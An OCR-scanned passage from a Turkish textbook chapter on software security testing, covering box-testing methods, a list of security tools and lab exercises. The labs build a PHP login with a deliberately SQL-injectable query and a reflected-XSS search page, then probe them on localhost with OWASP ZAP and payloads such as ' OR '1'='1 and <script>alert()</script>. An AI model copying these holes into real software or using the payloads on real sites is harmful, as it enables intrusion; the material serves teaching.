Ornek Log Dosyasi: Uygulamanin isleyisi sirasinda olusturulan bir log dosyasinin érnegini temsil
eder. Log dosyasi; uygulamanin ne tir olaylari, islemleri veya hatalari kaydettigini icerir.

Test Amaglari: Ornek log dosyasi, yazilim giivenligi testlerinin bir pargasi olarak kullanilir. Test
ekipleri, bu 6rnek log dosyasini kullanarak uygulamanin loglama davranisini ve givenlikle ilgili
olaylari nasil kaydettigini anlamaya galisir.

Giivenlik Testleri igin Kullanim: Ozellikle giivenlik testleri sirasinda kullanilir. Test ekipleri, log
dosyasini inceler ve uygulamanin glivenlik aciklarini, hatalarini veya anormalliklerini tespit etmek
icin bu log dosyasini kullanabilir.

Log Formati: Ornek log dosyasinin formati ve yapisi belirtilmelidir. Genellikle log dosyalari metin
tabanlidir ancak JSON, XML veya diger belirli formatlar da kullanilabilir.

Olaylar ve islemler: Log dosyasi, uygulama igindeki &nemli olaylari ve islemleri kaydetmelidir.
Ornegin kullanici oturumu agma, yetkilendirme islemleri, veri tabani sorgulari, hata mesajlari ve
diger ilgili bilgiler bu log dosyasinda bulunur.
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Ornek uygulama logu, yazilimin giivenligi ve istikrari igin &nemlidir ¢linkii uygulama loglari; giivenlik
olaylarinin izlenmesi, hata ayiklama, giivenlik tehditlerinin tespiti gibi birgok édnemli islevi destekler.
Ornek log dosyasi, yazilim giivenligi testlerinin etkili bir sekilde yiiriitiilmesine yardimci olur ve test
ekiplerine gercek diinya senaryolarina dayali glivenlik degerlendirmelerini yapma firsati sunar. Guvenlik
gereksinimleri tamamlandiktan sonra glivenlik testi stirecinin akisina gére degerlendirme gerceklestirilir

(Gorsel 3.24).
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Gorsel 3.24: Guvenlik testi stirecinin akisi
3.4.2. Givenlik Testi Cesitleri

Yazilim glvenligi testleri, yazilimin saldirilara karsi ne kadar dayanikli oldugunu degerlendirmek igin
kullantlir. Bu testler, sizma testleri (penetrasyon test veya pentest) olarak ifade edilir. Bu testleri
uygulayan kisilere de sizma testi uzmani (pentester) denir.

Guvenlik testleri; beyaz kutu testi, siyah kutu testi ve gri kutu testi olmak Uzere Ug¢ tir yaklasim ile
gerceklestirilir. Sizma testi uzmani, gerceklestirecegi testler icin ilgili kurum veya organizasyonun iznine
tabidir. Sizma testi uzmani, gerceklestirilen testler sonucunda gerekli 6nlemleri alir ve genel durum
degerlendirmesini bir rapor ile belgeler.
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3.4.2.1. Beyaz Kutu Testi (White Box Testing)

Yazilim testi sirasinda bir yazilimin igyapisinin ve kodunun detayl sekilde incelendigi ve test edildigi bir
yontemdir (Gorsel 3.25). Bu test; yazilimin kod kalitesini, mantiksal dogrulugunu ve giivenlik agiklarini
degerlendirir. Beyaz kutu testinde HtmlUnit, JUnit, PyUnit vb. test araglari yaygin olarak kullanilir.
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Gorsel 3.25: Beyaz kutu testi

UYGULAMA

> Herhangi bir programlama dilinde yazilan kod blokunda degiskenlere deger
girerek beyaz kutu testini verilen adimlar dogrultusunda gergeklestiriniz.
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EGER Z<10

“10’DAN KUGUK SAYI” YAZDIR

' 1. Adim: Yazilan kod blokundaki satirlari kontrol etmek icin X ve Y degerlerine rastgele deger (Y=72, '
X 63 gibi) veriniz. Verdiginiz degerler sonucunda programin diizglin bir sekilde ¢alistigini ve (;lkt'lsmda \
”10 DAN KUCUK SAYI” yazdigini gériiniiz. !

' 2. Adim: Kod satirlarini tekrar kontrol etmek icin farkh degerler (Y=23, X=9 gibi) giriniz. Verdiginiz bu '
. rastgele degerler sonucunda Z=14 degeri ile Z<10 kosulu saglanmaz. Sonug yanls oldugunda program "
! herhangl bir islem yapmaz. Bu durumu diizeltmek icin yeni bir kod satiri ekleyiniz. !

GIRDI X & Y

Z2=Y-X

EGER Z<10

“10’DAN KUGUK SAYI” YAZDIR

DEGILSE

“10’DAN BUYUK SAYI” YAZDIR

'3 Adim: Kod blokuna eklenen yeni satir ile Y=23, X=9 gibi degerleri yeniden girerek deneyiniz ve |
1 ekranda “10’DAN BUYUK SAYI” ciktisini gériiniiz. 1
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3.4.2.2. Siyah Kutu Testi (Black Box Testing)

Bir yazihmin veya bir sistemin islevselligini, performansini ve gilivenligini disardan bir gozlemci gibi
inceleyen test yontemidir (Gorsel 3.26). Bu test yontemi; yazilimin igyapisi, kodu veya altyapisi hakkinda
herhangi bir bilgiye sahip olmadan, sadece girdileri ve ciktilari kullanarak test yapmayi icerir. Siyah kutu
testi, yaziimin kullanici perspektifinden nasil ¢calistigini ve kullanici beklentilerini ne 6l¢tide karsiladigini
degerlendirmek icin kullanilir.

Siyah Kutu Testi
(Black. Box Te:s'l'ha)

[-———i‘\
e S
Test ﬂirdi';i
Bilﬂi yok
Gorsel 3.26: Siyah kutu testi
UYGULAMA

> Bir mobil uygulamanin konum hizmetini test etmek ve kullanicinin konum bilgisinin
dogru bir sekilde islendiginden emin olmak icin siyah kutu testini verilen adimlar
dogrultusunda gerceklestiriniz.

Uygulama igin 6n kosullar sunlardir:

¢ Test edilecek mobil uygulamay! yikleyiniz.
e Cihazin konum hizmetlerini (GPS, Wi-Fi vb.) etkinlestiriniz.

e internet erisimini aginiz.

I1 Adim: Mobil uygulamayi baslatarak uygulama konum izni istediginde gerekli izni veriniz veya'!

 reddediniz. Konum iznini kabul ettiginizde uygulamanin basaril bir sekilde agilmasini kontrol ediniz.
1

1 2. Adim: Uygulama icinde bir konum arama veya harita gorintileme islemi baslatarak konum
; hizmetlerinin acik oldugundan ve cihazinizin dogru bir sekilde konumunuzu belirlediginden emin
1 olunuz.

1

:3. Adim: Uygulamada belirli bir konumu isaretlemek veya yer isareti eklemek icin gerekli islemi
| yaparak eklenen isaretin dogru konumu gésterdigini kontrol ediniz.

1

: 4. Adim: Konumunuzu paylasmak icin gerekli islemi baslatarak (Ornegin baska bir kisiye konumunuzu
, gonderiniz.) paylastiginiz konumun dogru oldugunu ve alici tarafindan dogru bir sekilde gortldigini
! kontrol ediniz.

: 5. Adim: Konum hizmetlerini devre disi birakarak hata mesajlarini kontrol ediniz.
1

| 6. Adim: Konum hizmetlerini etkinlestirip, uygulama igcinde konum hizmetlerinin agik oldugunu simiile
! ederek nasil bir geri bildirim aldiginizi kontrol ediniz.
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3.4.2.3. Gri Kutu Testi (Gray Box Testing)

Gri kutu test yontemi hem beyaz kutu testi (kodun igyapisi ve mantigina erisimle) hem de siyah kutu
testi (sadece disaridan gozlem yaparak) yontemlerinin bir kombinasyonunu icerir (Gorsel 3.27). Gri
kutu testi, yazilimin islevselligini ve glvenligini incelemek igin bir miktar icerik veya kod bilgisine sahip
olan test uzmanlari tarafindan gerceklestirilir. Bu testler hem igcyapinin hem de kullanici perspektifinin
dikkate alindigi bir yaklasim sunar. Gri kutu testinde Appium, NUnit, Selenium vb. test araclari yaygin
olarak kullanihr.

ari Kutu Testi
f(:'lray Box Te:9+ing)

2

s gy
O UYGUL AMA el
Test ﬂirdif-:-i | jﬂ’ Test ciktisi

Bazi bl!ﬁile.r meveut

Gorsel 3.27: Gri kutu testi

UYGULAMA

> Kullanicilarin sifre sifirlamasi sirasinda sistemin dogru bir sekilde calisip
calismadigini ve kullaniclya uygun geri bildirimlerin verilip verilmedigini gormek
icin gri kutu testini verilen adimlar dogrultusunda gerceklestiriniz.

! 1 Adim: E-posta adresi ile kayit yapabilen herhangi bir siteye lye olunuz.

.2. Adim: Sifre sifirlama islemi icin gegerli bir e-posta adresini kullanarak sifre sifirlama sayfasina
' eri§iniz E-posta adresine ait gerekli alani doldurarak Sifremi sifirla veya benzeri bir butona tiklayiniz.

! 3 Adim: Sistem, kullanicinin girdigi e-posta adresinin gecerli bir kullaniciya ait olup olmadigini kontrol !
, eder. Sistem, e- posta adresi gecerli bir kullaniciya aitse bir sifre sifirlama e-postasi gonderir. E- posta \
:hesablmza giderek sifre sifirlama baglantisini tiklayiniz. Sistem, kullaniciyr yeni bir sifre olusturma :

1 sayfasina yonlendirir. 1
1 1

I4 Adim: Hesabiniz igin yeni bir sifre giriniz ve sifreyi onaylayiniz. Sistem, yeni sifrenin g(]venlikI
:gereksmlmlerlm karsilayip karsilamadigini kontrol eder. Yeni sifrenizi onayladiginizda sistem yenlI
1 sifreyi kaydedip oturum agmaniza izin verir. |
1 1
| 5. Adim: Yeni sifrenizle oturum agmaya ¢alisiniz. Sistem, kullanicinin yeni sifresini dogru bir sekilde :
, kabul eder ve oturum agmasina izin verir. Oturumunuzu agtiktan sonra hesapla ilgili islevselligi test |

1 ediniz. 1
1 1
1 1
1 6. Adim: Sisteme gecersiz veya hatall bir e-posta adresi girerek sifre sifirlama istegi gondermeye 1

| calisiniz. Sistem, gecersiz bir e-posta adresi girildiginde hesap sahibine uygun bir hata mesaji gsterir. |
! Dogru bilgilerinizi sisteme girerek islemi yeniden deneyiniz. !
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3.4.3. Yazilim Giivenlik Test Araglar

Yazilim glvenligi test araglari, yazilm uygulamalarinin glivenlik agiklarini tespit etmek ve gidermek
amaciyla kullanilan cesitli araglardir. Bu araglar, farkli amaclar icin farkl test tlrlerinde kullanilir. Yazilim
glvenligi test araclari sunlardir:

Acunetix: Web uygulamalarinin givenlik agiklarini tespit etmek icin kullanilir.
Aircrack-ng: Kablosuz aglari analiz eder ve sifreleri kirmak icin kullanilir.
AppScan: Web uygulama glivenligi tarama aracidir.

Burp Suite: Web uygulamalarinin glvenlik aciklarini taramak ve sizma testleri yapmak icin
kullanihr.

Checkmarx: Yazilimin kaynak kodunu inceleyerek giivenlik agiklari ve kalite sorunlarini tespit eder.

GDB (GNU Debugger): Uygulama dizeyinde hata ayiklamak ve guvenlik analizi yapmak icin
kullanilir.

Lynis: Linux tabanli sistemlerin glivenlik aciklarini taramak icin kullanilir.

Metasploit Framework: Bilgisayar sistemlerine sizma testleri yapmak icin kullanihr.
ModSecurity: Web uygulamalarini korumak ve saldirilari engellemek icin kullanilir.
Nessus: Ag Uzerindeki sistemleri, uygulamalari tarar ve zafiyetleri tespit eder.

Nikto: Web sunucularinin zafiyetlerini ve glivenlik agiklarini taramak icin kullanilir.

Nmap (Network Mapper): Agdaki cihazlari kesfetmek ve zafiyetleri taramak icin kullanilir.
Nogotofail: SSL/TLS guivenligi ile ilgili zafiyetleri tespit etmek icin kullanilir.

OpenVAS (Open Vulnerability Assessment System): Ag lzerindeki zafiyetleri tespit etmek icin
kullanihr.

OSSEC: Guvenlik olaylariniizler, analiz eder ve glivenlik tehditlerini tespit eder.

OWASP ZAP (Zed Attack Proxy): OWASP tarafindan gelistirilen acgik kaynakh bir aractir ve web
uygulamalarinin giivenligini degerlendirmek igin kullanilir.

Qualys: Ag ve web uygulamalarini taramak, uyumluluk denetimi yapmak igin kullanilir.

Radare2: isletim sistemleri ve uygulamalar tizerinde kararlilik testi yapmak ve tersine miihendislik
icin kullantlir.

Ratproxy: Web uygulamalarinin glivenlik agiklarini taramak ve sizma testleri yapmak icin kullanihir.
Snort: Ag trafigini izler ve saldiri tespiti yapar.

SonarQube: Yazilimin kaynak kodunu inceleyerek guvenlik agiklari ve kod kalitesi sorunlarini
tespit eder.

Sqglmap: SQL enjeksiyonu zafiyetlerini taramak ve somirmek icin kullanilir.
Suricata: Ag trafigini izler ve saldiri tespiti yapar.
Vega: Web uygulamalarinin glivenlik aciklarini tespit etmek ve raporlamak icin kullanilir.

W3AF (Web Application Attack and Audit Framework): Web uygulamalarinda kullanilan saldiri
ve denetim programidir.

Wfuzz: Web uygulamalarina karsi kaba kuvvet saldirilarini ve zafiyetleri taramak icin kullantlir.

Wireshark: Ag lzerinden gecen verileri yakalar ve analiz eder. Ag glvenligi sorunlarini tespit
etmek icin kullanihr.

YARA: Zararli yazihmlari tanimak ve analiz etmek icin kullanilir.
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UYGULAMA

> Bir web uygulamasinin OWASP ZAP test araci ile yazilim giivenlik testini verilen
adimlar dogrultusunda gergeklestiriniz.

1 1 Adim: PHP web sunucusu (XAMPP, WampServer vb.) programini ¢alistiriniz.
! 2 Adim: MySQL uygulamasini ¢alistiriniz (Gorsel 3.28).

[Z] XAMPP Control Panel v3.3.0 [ Compiled: Apr 6th 2021 ] = O X
IH XAMPP Control Panel v3.3.0 | Config
Modules [ &
Service  Module PID(s) Port(s) Actions o=
Apache ﬁgﬁi 30, 443 Stop Admin Config Logs Bl shel
MySaL 7683 3306 | Admin || config || Logs | | [ Explorer |
FileZilla [ Start . Admin [ Config Logs . E}' Services .
Mercury Start Admin Config Logs & Help
Tomcat Start Admin Config Logs |_1 Quit
23:54:04 [main] All prerequisites found "
23:54:04 [main] Initializing Maodules
23:54:04 [main] Starting Check-Timer
23:54:04 [main] Control Panel Ready
23:54:10 [Apache] Attempting to start Apache app...
23:54:10 [Apache] Status change detected: running
23:54:13 [mysql] Attempting to start MySQL app...
23:54:14 [mysql] Status change detected: running
W

Gorsel 3.28: XAMPP kontrol penceresi

1 3. Adim: internet tarayicisinda phpMyAdmin sayfasini aginiz.

'4. Adim: Yeni butonuna tiklayip yeni bir veri tabani olusturunuz (Gorsel 3.29).

php
REle. 5@
Son | Sik kullanilaniar
— @

|— o Yeni
+— | information_schema
-i'— mysql
T— performance_schema
*— 1 sys

Gorsel 3.29: phpMyAdmin paneli
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Veritabanlari

% & Veritabani olustur & i

example2 dbl utf8mb4_general_ci v | Olugtur |

Gorsel 3.30: Veri tabani olusturma

fl | g Yeni tablo olugtur ‘

Tablo adi Situn sayisi

|users ‘ ‘SI 2| | Olugtur

Gorsel 3.31: Yeni tablo olustur sayfasi
l 7. Adim: ilk siitun icin Adi kutucuguna id yaziniz, Tiirii kutucugunda INT seginiz ve A_l onay kutusunu !
| |§aretley|n|z.

: 8. Adim: ikinci stitun icin Adi kutucuguna username yaziniz, Tiirli kutucugunda VARCHAR seginiz ve
: Uzunluk/Degerler kutucuguna 50 sayisini giriniz.

. 1 9. Adim: Ugiincii siitun icin Adi kutucuguna password yaziniz, Tiirli kutucugunda VARCHAR seginiz ve
' Uzunluk/DegerIer kutucuguna 50 sayisini giriniz (Gorsel 3.32).

Adi Tard & Uzunluk/Degerler «  Varsayilan o Kargilagtirma Oznitelikler Bos Index Al

id v

INT ~ Yok v - + ST PRIMARY
Merkezi Situniardan se¢ PRIMARY
usermame

VARCHAR v |50 Yok v v wl O [= v O
Markezi Situniardan seq
password

VARCHAR ~ 50 ok V ~ v O - L4 B

Merkat Sufuntardan sag

Gorsel 3.32: Users tablosu
' 10. Adim: Kaydet butonuna basarak tabloyu olusturunuz.

' 11. Adim: Ekle butonuna tiklayiniz (Gorsel 3.33).

7 Sunucu: 127.0.0.1 » @ Veritabani: example2 db » [ Tablo: users

|| Gézat 4+ Yapr [] SQL 4 Ara ¥¢ Ekle =4 Disaaktar [ul iceaktar =7 Yetkiler ® islemler ® izleme =i Tetikleyiciler

W Tabloyapisi & lligki gorinimi

# Adi Tird Karsilagtirma Oznitelikler Bos Varsayilan Aciklamalar Ekstra Eylem
0O 1id & int{11) Hayir Yok AUTO_INCREMENT .7 Dedigtir @ Kaldir Daha fazla
[ 2 username varchar(50) utfdmbd general ci Hayir Yok & Dedistir @ Kaldir Daha fazla
[0 3 password varchar(50) utf8mbd_general_ci Hayir Yok & Dedigtir @ Kaldir Daha fazla

Gorsel 3.33: Users tablosunun yapisi
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'12 Adim: Username degeri olarak admin ve password degeri olarak pass girerek Git butonuna !

1 basiniz (Gorsel 3.34).

Siitun Tiirti islev Bos Deger
id int(11) v

username varchar(50) ' admin

password varchar(50) ' pass

Git

Gorsel 3.34: Users tablosuna kayit girme

' 13 Adim: Dosya gezgini ile PHP web sunucusu web sayfalari ana klasoérin{ aginiz. Xampp icin c: \I

) xampp\htdocs WampServer igin c:\wamp\www klasérleridir.

1

1 14. Adim: guvenliyazilimtest adinda yeni bir klasor olusturunuz.
1

| 15. Adim: Bir metin editori ile bu klasori aginiz.

1

1
l 16. Adim: index.php adinda bir PHP dosyasi olusturunuz.

! 117. Adim: index.php dosyasi icine su kodu yaziniz:

<?php

session_start();
Sdatabase_host = “localhost”;
Sdatabase_user = “root”;

an,

Sdatabase_pass = “”; // Veri tabani sifresi

Sdatabase_name = “example2_db”;

Sconnection = new mysqli(Sdatabase_host, Sdatabase_user, Sdatabase_pass, Sdatabase_name);

if (Sconnection->connect_error) {
die(“Veri tabani baglanti hatasi: “ . Sconnection->connect_error);
}
if(isset(S_POST[‘username’]) && isset(S_POST[‘password’])) {
Susername =$_POST[‘username’];

Spassword =$_POST[‘password’];

// Glvensiz bir sekilde kullanici girisi islemi icin sorgu hazirlama (SQL enjeksiyon acigl icerir.)

$sql = “SELECT * FROM users WHERE username='Susername’ AND password="Spassword’”;




// Sorguyu calistir.
Sresult = mysqli_query(Sconnection, $sql);
if (Sresult) {
if (mysqli_num_rows(Sresult) == 1) {
S_SESSION[‘username’] = Susername;
Smessage = “Giris basarih!”;
}else {
Serror = “Hatali kullanici adi veya sifre.”;
}
}else {

Serror = “Sorgu hatasi: “ . mysqli_error(Sconnection);

}

if(isset(S_POST[‘logout’])) {
session_unset();
session_destroy();
header(“Location: index.php”);
exit();

}

>

<IDOCTYPE html>

<html>

<head>
<title>Web Uygulamasi</title>

</head>

<body>
<header>

<h1>Web Uygulama Test </h1>

<nav>

YAZILIM GUVENLIGI
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<ul>
<li><a href="index.php”>Ana Sayfa</a></li>
</ul>
</nav>
</header>
<h2>Giris Yap</h2>
<?php if (isset(Serror)): ?>
<p style="color: red;”><?php echo Serror; ?></p>
<?php endif; ?>
<?php if (isset(Smessage)): ?>
<p style="color: green;”><?php echo Smessage; ?></p>
<?php endif; ?>
<?php if(isset(5_SESSION[‘username’])): ?>
<p>Giris yapmis kullanici: <?php echo $_SESSION[‘username’]; ?></p>
<form method="POST">
<input type="submit” name="logout” value="Cikis Yap”>
</form>
<?php else: ?>
<form method="POST">
Kullanici Adi: <input type="text” name="username” value="">
Sifre: <input type="password” name="password” value="">
<input type="submit” value="Giris Yap”>
</form>
<?php endif; ?>
<footer>
<hr>
&copy; <?php echo date(‘Y’); ?> Web Uygulama
</footer>

</body>
</html>
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Web Uygulama Test

* Ana Sayfa

Giris Yap

Kullanier Adu: | | Sifre: | [ Giri Yap |

© 2023 Web Uygulama
Gorsel 3.35: Uygulama test ekrani

Web Uygulama Test
* Ana Savfa

Giris Yap

Giris basaril!

Girig yapmus kullanici: admin

Cikis Yap |

© 2023 Web Uygulama

Gorsel 3.36: Uygulama giktisi

:20 Adim: Tarayicinizdan https://www.zaproxy.org/download/ adresine giderek OWASP ZAP:
, uygulamasini bilgisayariniza kurunuz. |
I21 Adim: Kurulumu gerceklestirilen programi calistirarak Automated Scan butonuna tlklaylnlz:
! (Gorsel 3.37). i

Qndmz Oturum - 20230918-003129 - OWASP ZAP 2.13.0
Dosya Dizenle Gorinim Analiz Et Rapor Araclar Ice aktar  Disa Aktar  Cevrimigi  Yardim

sendartmod v B B EH S A2EEDEEEEDE LD VO D % @ @
@ siteler = ; L7 Hizh Baglangic s* =p Talep 4= Cevap . Istemci =
R Welcome to OWASP ZAP
=} Igerikler
(& varsayilan baglam ZAP web uygulamalarn gtvenlik agiklanni bulmak igin entegre penetrasyon testleri araci
@ siteler kullanmak igin bir kolaydr.
If you are new to ZAP then it is best to start with one of the options below.
Automated Scan Manual Explore Learn Mare
= Gegmis S Arama W uyarlar | Gkt e
© @& | Filtre: KAPALI { Diga Aktar <
Ki... Kay... Zaman Damgas... Yén... URL K... Sebep R... Cevap GoévdesiniB... En ylksek... ... Etiketler &
Uyantar [0 [0 [Uo [0 Main Proxy: localhost:8080 Giincel Taramalar 0 @0 30 @0 , 0 420 o o

Gorsel 3.37: OWASP ZAP acilis ekrani
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'22 Adim: Tarayicinizdan PHP dosyanizin bulundugu http://127.0.0.1/guvenliyazilimtest/ adresml ;

' kopyalayarak agilan ekranda URL to attack kismina yaziniz ve Saldir butonuna basiniz (Gorsel 3.38).

< Automated Scan

This screen allows you to launch an automated scan against an application - just enter its URL below and
press "Attack’.

Yalnizca test etmek icin izin verilen 6zel uygulamalara saldirmak gerektigini unutmayin.

URL to attack: http://127.0.0.1/guvenliyazilimtest/ v G} Secg...

Use traditional spider:

Use ajax spider: with | Chrome Headless

L7 Saldin Dur

Gorsel 3.38: OWASP ZAP bilgi giris ekrani

'23 Adim: Saldin bittiginde uygulamanin Uyarlar béliminde zafiyetleri gosteren alani inceleyiniz |

1 (Gorsel 3.39).

= Gegmis S Arama [ uyariar #* | Gkt 38 Orom

@e J ¢

[[-U Cross Site Scripting (Reflected) (2)
[Pl sQL Enjeksiyonu (2)
| | POST: http://127.0.0.1/guvenliyazilimtest/login.php
| | POST: http://127.0.0.1/guvenliyazilimtest/login.php
[Fl sQL Injection - MysQL
| | POST: http://127.0.0.1/guvenliyazilimtest/login.php
H.J Anti-CSRF belirtecleri olmamasi (2)
HJ Content Security Policy (CSP) Header Not Set (8)
|4 Hidden File Found (2)
HJ Missing Anti-clickjacking Header (4)
E'-J.J Big Redirect Detected (Potential Sensitive Information Leak) (Z
L-.'.J Cookie No HttpOnly Flag (4)
|1l Cookie without SamesSite Attribute (4)
|-l Server Leaks Version Information via "Server" HTTP Response

Gorsel 3.39: Zafiyet listesi penceresi
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' 24. Adim: SQL Enjeksiyonu sekmesine tiklayarak yan tarafta agilan pencereyi inceleyiniz (Gorsel 3.40). !
- SQL enjeksiyonu saldirisina karsi agik tespit eden program, bu aciga ait bilgilerin detaylarini da gosterir. !

QAdnz Oturum - 20230918-003955 - OWASP ZAP 2.13.0 i O X
Dosya Duozenle Goranum  Analiz Et Rapor Araglar Ice aktar Disa Aktar  Cevrimici  Yardim
StandartMod | | L3 IR E e = EET I ) O % E - me @ 4
@ siteler = § 4" Hizl Baglangic  =» Talep &= Cevap /istemci ==
BE 3 Baslik: Metin v Govde: Metin v | =] &=

ﬁl;erikler POST http://127.0.0.1/guvenliyazilimtest/login.php HTTP/1.1

host: 127.0.0.1
user-agent: Mozilla/5.@ (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/
@ siteler 114.0.0.0 Safari/537.36
= pragma: no-cache
un cache-control: no-cache

Varsayilan baglam

username=ZAP%27+AND+%271%27%3D%271%27 += -+ password=ZAP

E Gegmis '\'4“ Arama P] Uyarilar jf =] Gikt % Ortmcek 2 Aktif Tarama ¥ AJAX Ortimcek =

@ 0 .y) aﬁ SQL Enjeksiyonu

URL: http://127.0.0.1/guvenliyazilimtest/login.php

| Uyanilar (17) o R High
Ftl Cross Site Scripting (Reflected) (2)
|Fl sQL Enjeksiyonu (2)
| | POST: http://127.0.0.1/guvenliyazilimtest/login.php

Gavenirlik:  Medium
Parametre: username

Saldin: ZABEOREIEE
. POST: http://127.0.0.1/guvenliyazilimtest/login.php Kanit:
Fhsg;g;ﬁﬂ:; '-mﬁo 1t liyazilimtest/login.ph e
O  http: .0.0.1/guvenliyazilimtest/login.php WASC ID: 19

FLI Anti-CSRF belirtecleri olmamasi (2)

|’-U Content Security Policy (CSP) Header Not Set (8)
{4 Hidden File Found (2)

F.’J Missing Anti-clickjacking Header (4)

Kaynak: Etkin (40018 - SQL Enjeksiyonu)
Input Vector: Form Query

Aclklama:

SQL injection may be possible.

Tyarilar Fﬂ 3 H] 4 HJ 6 ilﬁ 4  Main Proxy: localhost:8080 Giincel Taramalar _Q 0 év-ﬂ @0 b 0 @3_0_)*5_*_0_%5

Gorsel 3.40: Saldiri inceleme

'25 Adim: SQL enjeksiyonu saldirisina sebebiyet veren SQL sorgusunun agiklamasinin ‘OR ‘1’= '1’I
| oIdugunu gozlemleyiniz. -

UYGULAMA

> PHP dili arama ekranina veri girisi alarak ekrana yazdiran web uygulamasini
olusturma islemini verilen adimlar dogrultusunda gerceklestiriniz.

' 1. Adim: PHP web sunucusu (XAMPP, WampServer vb.) programini ¢alistiriniz.

! 1 2. Adim: guvenliyazilimtest3 isimli klasori olusturarak klasoriinicine index.php dosyasiniolusturunuz.

l 3. Adim: index.php dosyasi icine su kodu yaziniz:

<IDOCTYPE html>
<html>
<head>
<title>XSS Acig1 Ornegi</title>
</head>




3. OGRENME BiRiMi
<body>
<h2>Arama Sayfasi</h2>
<form method="GET” action="">

nn

Arama: <input type="text” name="search” value="">
<input type="submit” value="Ara”>
</form>
<?php
if (isset(S_GET[‘search’])) {
SsearchTerm = $_GET[‘search’];
echo “Sonuclar: “ . SsearchTerm; }
?>
</body>
</html>

' 4. Adim: OWASP ZAP uygulamasini agarak Automated Scan butonuna tiklayiniz.

: 5. Adim: Uygulamanizin bulundugu URL bilgisini URL to attack kismina yazarak Saldiri butonuna
| tiklayiniz.

'6 Adim: Saldiri sonucunu inceleyiniz (Gorsel 3.41).

SandatMod V| [ B H E @ | E 2 X2HEHEEE 02 DE4 8 7 @ % W - @
@ siteler = : 47 Hizh Baslangic = Talep 4= Cevap [ lIstemci ==
@ 0 B Baslik: Metin ~ | Godvde: Metin | | (=] &=

= Icerikler HTTP/1.1 200 OK

Date: Mon, 18 Sep 2023 ©1:16:19 GMT

Server: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.@.28
@ Siteler X-Powered-By: PHP/8.8.28

Content-Length: 335

Content-Type: text/html; charset=UTF-8

Varsayilan baglam

<body>
<h2>Arama Sayfasi</h2>
<form method="GET" action="">
Arama: <input type="text" name="search" value="">
<input type="submit" value="Ara">
</form>

Sonuglar: <scrIptsalert(1);%/scRipt></body>
</html>

= Geemis S Arama  [uyaniar @ Gkt M8 Orimcek A Aktif Tarama o=
@0 7 & Risk: |F0 High
Guvenirlik:  Medium

— Uyarllar(ﬁ") » | Parametre:  search
FII Cross Site Scripting (Reflected) (2) |saldin: <script>alert(1);</scRipt>
B GET: http://127.0.0.1/guvenliyazilimtest3/?search=%3Csc

. Kanit: <script>alert(1);</scRipt>
| | POST: http://127.0.0.1/guvenliyazilimtest2/ f CWE ID: 79
SQL Enjeksiyonu \ o
R 1BASH] |wascip: 8

[Fl saL Injection - MysaL
FII Capraz Siteden Betik Calistirma(DOM tabanli) (3)
| | GET: http://127.0.0.1/guvenliyazilimtest3/?name=abc#<imy

i Kaynak: Etkin (40012 - Cross Site Scripting (Reflected))
‘ Input Vector: URL Query String
‘ Aciklama:

Uyanlar 14 {84 [l6 [3 Main Proxy: localhost:8080 Guncel Taramalar 40 G0 @0 A0 @0 0 #o Ho

Gorsel 3.41: OWASP ZAP XSS zafiyet inceleme
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' 7. Adim: Glivensiz bir sekilde kullanici girisi ile ekrana verileri yazdiran ve bu nedenle koti niyetli bir '

kuIIanlcmm tarayicida ¢alisan kot amaglh bir JavaScript kodunu enjekte edebilecegini gozlemleylnlz. \
! Orneéin bir kullanici “<script>alert(‘XSS Acigi!’);</script>" seklinde bir arama terimi girerse bu kotu !
: niyetli kod tarayicida ¢alisir ve bir “XSS Ac¢ig1!” uyarisi goriintllenir. Arama ekranina “<script>alert(‘XSS :
tAcigi!’ );</script>" JavaScript kodunu yazarak uygulamanin XSS agigini gbzlemleyiniz (Gorsel 3.42). i

Arama Sayfas1 localhost web sitesinin mesaji
XSS Acig!

Arama: [<scr|pt>a\ert(XSSA§;|g|' <]| Ara |

Gorsel 3.42: OWASP ZAP XSS zafiyeti sonucu

Uriin siparisi eklemek igin kullanilan bir web uygulamasi gelistiriniz. Kullanicilarin iiriin adi ve
miktari verilerini girebildigi bir form olusturarak uygulamanizin gtivenlik testini gerceklestiriniz.

DEGERLENDIRME

Calismaniz asagida yer alan kontrol listesi kullanilarak degerlendirilecektir. Calismalarinizi yaparken
degerlendirme olgltlerini dikkate aliniz. Calismanizi bir ders saati icinde tamamlayiniz.

KONTROL LiSTESI

DEGERLENDIRME OLCUTLERI HAYIR
PHP web sunucu programini acti.

MySQL servisini baslattt.

PhpMyAdmin sayfasini acarak giris yapt.

Siparis tablosu olusturdu.

ilk stitun igin Adi kutucuguna id yazd.

ilk stitun icin Tird kutucugunda INT secti.

ilk stitun icin A_| onay kutusunu isaretledi.

ikinci stitun icin Adi kutucuguna urun_adi yazdi.

Ol 0| N[ W] N =

ikinci stitun icin Tird kutucugunda VARCHAR secti.

[Eny
o

. Ikinci stitun icin Uzunluk/Degerler kutucuguna 50 sayisini girdi.

I
[EEN

. Uglinci siitun icin Adi kutucuguna urun_miktari yazd.

[EEN
N

. Uglincii siitun igin Turl kutucugunda INT secti.

[ER
w

. Index.php dosyasini act.

=
S

. Index.php dosyasina gerekli uygulama kodlarini yazdi.

=
(92

. Veri tabani sorgusunu olusturdu.
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16.

OWASP ZAP uygulamasini agti.

17.

Automated Scan ekranina bilgileri girdi.

18.

Test sonucunu gorintiledi.

19.

Zafiyet tirlerini belirledi.

20.

Calismayi verilen stirede tamamladi.

21.

Eksik oldugu o6lgutleri tamamladi.

3.4.4. Etkilesimli Uygulama Giivenligi Testi

Etkilesimli Uygulama Guvenligi Testi [Interactive Application Security Testing (IAST)], uygulama
glvenligi acisindan daha fazla otomasyon ve gercek zamanli testler sunan bir glivenlik testi yaklagimidir.
IAST, uygulamanin ¢alisma zamaninda glvenlik zafiyetlerini ve riskleri tespit etmek icin kullantlir. 1AST,
olusturulan bir uygulamanin galisma zamanindaki davranislarini izler ve glivenlik agisindan galisma
zamaninda olusan sorunlari tespit eder. Bu yaklasim, uygulama glivenligi testlerini geleneksel statik
veya dinamik testlerden farkli bir sekilde gerceklestirir ve uygulamalarin gercek diinya saldirilarina karsi
test edilmesinde daha iyi sonuglar alinmasini saglar. Etkilesimli uygulama giivenligi testinin avantajlari
sunlardir:

e |AST, yazilim gelistirme sirecinin daha erken asamalarinda glivenlik agiklarini tespit etmek

icin tasarlanmis bir yaklasimdir. Yazilim kodu calistigi sirada uygulamanin gercek davranisini
izler ve bu sirada guivenlik agiklarini tespit eder. Boylece gelistiricilerin hizli bir sekilde glivenlik
